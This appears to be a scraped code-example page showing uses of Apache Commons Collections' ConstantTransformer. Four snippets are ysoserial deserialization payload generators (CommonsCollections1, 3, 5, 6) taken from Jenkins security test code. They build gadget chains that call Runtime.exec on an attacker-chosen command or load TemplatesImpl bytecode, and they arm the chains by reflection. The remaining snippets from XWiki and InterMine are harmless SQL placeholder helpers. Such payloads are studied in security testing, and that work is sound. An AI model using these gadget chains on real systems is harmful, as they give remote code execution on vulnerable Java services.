List of usage examples for org.apache.commons.collections.functors ConstantTransformer ConstantTransformer
public ConstantTransformer(Object constantToReturn)
From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections3.java
public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections1.java
public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections6.java
public Serializable getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add("foo"); Field f = null;/*from w ww . ja v a 2 s .c om*/ try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if (node == null) { node = array[1]; } Field keyField = null; try { keyField = node.getClass().getDeclaredField("key"); } catch (Exception e) { keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node, entry); return map; }
From source file:com.xpn.xwiki.plugin.watchlist.WatchListEventFeedManager.java
/** * @param user user to get the RSS feed for * @param entryNumber number of entries to retrieve * @param context the XWiki context/*from ww w. ja v a 2s.c om*/ * @return The watchlist RSS feed for the given user * @throws XWikiException if the retrieval of RSS entries fails */ @SuppressWarnings("unchecked") public SyndFeed getFeed(String user, int entryNumber, XWikiContext context) throws XWikiException { List<String> wikis = plugin.getStore().getWatchedElements(user, WatchListStore.ElementType.WIKI, context); List<String> spaces = plugin.getStore().getWatchedElements(user, WatchListStore.ElementType.SPACE, context); List<String> documents = plugin.getStore().getWatchedElements(user, WatchListStore.ElementType.DOCUMENT, context); List<Object> parameters = new ArrayList<Object>(); ActivityStreamPluginApi asApi = (ActivityStreamPluginApi) context.getWiki().getPluginApi("activitystream", context); parameters.addAll(wikis); parameters.addAll(spaces); parameters.addAll(documents); Transformer transformer = new ConstantTransformer("?"); List<String> wikisPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer); wikisPlaceholders.addAll(wikis); List<String> spacesPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer); spacesPlaceholders.addAll(spaces); List<String> documentsPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer); documentsPlaceholders.addAll(documents); String listItemsJoint = ","; String concatWiki = " or concat(act.wiki,'"; String query = "1=0"; if (!wikis.isEmpty()) { query += " or act.wiki in (" + StringUtils.join(wikisPlaceholders, listItemsJoint) + ')'; } if (!spaces.isEmpty()) { query += concatWiki + WatchListStore.WIKI_SPACE_SEP + "',act.space) in (" + StringUtils.join(spacesPlaceholders, listItemsJoint) + ')'; } if (!documents.isEmpty()) { query += concatWiki + WatchListStore.WIKI_SPACE_SEP + "',act.page) in (" + StringUtils.join(documentsPlaceholders, listItemsJoint) + ')'; } List<ActivityEvent> events = asApi.searchEvents(query, false, true, entryNumber, 0, parameters); SyndFeed feed = asApi.getFeed(events); setFeedMetaData(feed, context); return feed; }
From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections5.java
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[] { new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true);/*from ww w.ja v a2 s . c o m*/ valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; }
From source file:org.intermine.api.profile.StorableBag.java
/** * Delete a given set of bag values from the bag value table. If an empty list is passed in, * no values will be deleted. If null is passed in all values will be deleted. * @param values The values to delete. <code>null</code> is understood * as <code>ALL VALUES.</code>. *///from w w w . ja v a2s . c om protected void deleteSomeBagValues(final List<String> values) { Connection conn = null; PreparedStatement stm = null; ObjectStoreWriter uosw = getUserProfileWriter(); List<String> clauses = new ArrayList<String>(Arrays.asList("savedBagId = ?")); if (values != null) { Collection<String> placeHolders = CollectionUtils.collect(values, new ConstantTransformer("?")); String valuesList = StringUtils.join(placeHolders, ", "); if (!valuesList.isEmpty()) { clauses.add("value IN (" + valuesList + ")"); } } try { conn = ((ObjectStoreWriterInterMineImpl) uosw).getConnection(); String sql = "DELETE FROM " + InterMineBag.BAG_VALUES + " WHERE " + StringUtils.join(clauses, " AND "); stm = conn.prepareStatement(sql); stm.setInt(1, savedBagId); for (int i = 0; values != null && i < values.size(); i++) { stm.setString(i + 2, values.get(i)); } stm.executeUpdate(); } catch (SQLException sqle) { throw new RuntimeException("Error deleting the " + (values == null ? "" : values.size() + " ") + "bagvalues of bag : " + savedBagId, sqle); } finally { if (stm != null) { try { stm.close(); } catch (SQLException e) { throw new RuntimeException("Problem closing resources", e); } } ((ObjectStoreWriterInterMineImpl) uosw).releaseConnection(conn); } }
From source file:org.xwiki.watchlist.internal.DefaultWatchListEventFeedManager.java
@Override @SuppressWarnings("unchecked") public SyndFeed getFeed(String user, int entryNumber) throws XWikiException { XWikiContext context = contextProvider.get(); Collection<String> wikis = store.getWatchedElements(user, WatchedElementType.WIKI); Collection<String> spaces = store.getWatchedElements(user, WatchedElementType.SPACE); Collection<String> documents = store.getWatchedElements(user, WatchedElementType.DOCUMENT); List<Object> parameters = new ArrayList<Object>(); ActivityStreamPluginApi asApi = (ActivityStreamPluginApi) context.getWiki().getPluginApi("activitystream", context);/*from ww w .j av a 2s . c om*/ parameters.addAll(wikis); parameters.addAll(spaces); parameters.addAll(documents); Transformer transformer = new ConstantTransformer("?"); List<String> wikisPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer); wikisPlaceholders.addAll(wikis); List<String> spacesPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer); spacesPlaceholders.addAll(spaces); List<String> documentsPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer); documentsPlaceholders.addAll(documents); String listItemsJoint = ","; String concatWiki = " or concat(act.wiki,'"; String query = "1=0"; if (!wikis.isEmpty()) { query += " or act.wiki in (" + StringUtils.join(wikisPlaceholders, listItemsJoint) + ')'; } if (!spaces.isEmpty()) { query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.space) in (" + StringUtils.join(spacesPlaceholders, listItemsJoint) + ')'; } if (!documents.isEmpty()) { query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.page) in (" + StringUtils.join(documentsPlaceholders, listItemsJoint) + ')'; } List<ActivityEvent> events = asApi.searchEvents(query, false, true, entryNumber, 0, parameters); SyndFeed feed = asApi.getFeed(events); setFeedMetaData(feed, context); return feed; }